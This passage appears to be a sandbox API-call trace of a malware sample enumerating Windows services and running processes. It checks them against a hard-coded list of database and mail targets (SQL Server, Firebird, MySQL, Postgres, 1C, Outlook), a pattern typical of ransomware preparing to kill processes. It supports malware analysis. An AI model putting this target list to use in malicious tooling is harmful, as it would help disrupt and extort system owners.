lstrlenW (lpString="SysMain") returned 7 [0061.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.502] lstrlenW (lpString="Themes") returned 6 [0061.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.502] lstrlenW (lpString="TrkWks") returned 6 [0061.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.502] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.502] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.502] lstrlenW (lpString="UxSms") returned 5 [0061.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.503] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.503] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.503] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.503] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.503] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.503] lstrlenW (lpString="Winmgmt") returned 7 [0061.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.503] lstrlenW (lpString="WPDBusEnum") returned 10 [0061.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.504] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0061.504] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0061.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0061.504] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f10050 | out: hHeap=0x5d0000) returned 1 [0061.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0061.508] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.509] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.510] lstrlenW (lpString="System") returned 6 [0061.510] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0061.510] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0061.510] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0061.510] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0061.510] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0061.510] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0061.510] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0061.510] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.511] lstrlenW (lpString="smss.exe") returned 8 [0061.511] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0061.511] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0061.511] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0061.511] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0061.511] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0061.511] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0061.511] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0061.511] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.511] lstrlenW (lpString="csrss.exe") returned 9 [0061.512] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0061.512] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0061.512] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0061.512] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0061.512] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0061.512] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0061.512] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0061.512] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.512] lstrlenW (lpString="wininit.exe") returned 11 [0061.512] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0061.512] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0061.512] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0061.512] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0061.512] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0061.512] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0061.513] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0061.513] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.513] lstrlenW (lpString="csrss.exe") returned 9 [0061.513] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0061.513] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0061.513] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0061.513] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0061.513] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0061.513] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0061.513] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.514] lstrlenW (lpString="winlogon.exe") returned 12 [0061.514] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.515] lstrlenW (lpString="services.exe") returned 12 [0061.515] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.515] lstrlenW (lpString="lsass.exe") returned 9 [0061.515] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.516] lstrlenW (lpString="lsm.exe") returned 7 [0061.516] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.516] lstrlenW (lpString="svchost.exe") returned 11 [0061.516] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.517] lstrlenW (lpString="svchost.exe") returned 11 [0061.517] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.517] lstrlenW (lpString="svchost.exe") returned 11 [0061.517] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.518] lstrlenW (lpString="svchost.exe") returned 11 [0061.518] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.518] lstrlenW (lpString="svchost.exe") returned 11 [0061.519] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.519] lstrlenW (lpString="audiodg.exe") returned 11 [0061.519] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.520] lstrlenW (lpString="svchost.exe") returned 11 [0061.520] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.520] lstrlenW (lpString="svchost.exe") returned 11 [0061.520] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.521] lstrlenW (lpString="dwm.exe") returned 7 [0061.521] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.521] lstrlenW (lpString="explorer.exe") returned 12 [0061.521] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.522] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.522] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.522] lstrlenW (lpString="svchost.exe") returned 11 [0061.522] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.523] lstrlenW (lpString="taskhost.exe") returned 12 [0061.523] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0061.524] lstrlenW (lpString="taskeng.exe") returned 11 [0061.524] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0061.525] lstrlenW (lpString="spoken.exe") returned 10 [0061.525] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0061.525] lstrlenW (lpString="cut baby kind.exe") returned 17 [0061.525] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0061.526] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0061.526] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0061.526] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0061.526] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0061.527] lstrlenW (lpString="things apt speaker.exe") returned 22 [0061.527] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0061.527] lstrlenW (lpString="longest.exe") returned 11 [0061.527] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0061.528] lstrlenW (lpString="liberty.exe") returned 11 [0061.528] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0061.528] lstrlenW (lpString="robust.exe") returned 10 [0061.529] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0061.529] lstrlenW (lpString="browse.exe") returned 10 [0061.529] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0061.530] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0061.530] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0061.530] lstrlenW (lpString="blocked.exe") returned 11 [0061.530] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0061.531] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0061.531] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0061.531] lstrlenW (lpString="reno.exe") returned 8 [0061.531] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0061.532] lstrlenW (lpString="vancouver.exe") returned 13 [0061.532] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0061.532] lstrlenW (lpString="africa.exe") returned 10 [0061.532] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0061.533] lstrlenW (lpString="ph-pos.exe") returned 10 [0061.533] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0061.533] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0061.533] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0061.534] lstrlenW (lpString="peaceful.exe") returned 12 [0061.534] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0061.534] lstrlenW (lpString="louise_threshold.exe") returned 20 [0061.535] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0061.535] lstrlenW (lpString="scannerhit.exe") returned 14 [0061.535] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0061.536] lstrlenW (lpString="3dftp.exe") returned 9 [0061.536] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0061.536] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0061.536] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0061.537] lstrlenW (lpString="alftp.exe") returned 9 [0061.537] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0061.537] lstrlenW (lpString="barca.exe") returned 9 [0061.537] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0061.538] lstrlenW (lpString="bitkinex.exe") returned 12 [0061.538] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0061.538] lstrlenW (lpString="coreftp.exe") returned 11 [0061.538] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0062.085] lstrlenW (lpString="far.exe") returned 7 [0062.085] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0062.086] lstrlenW (lpString="filezilla.exe") returned 13 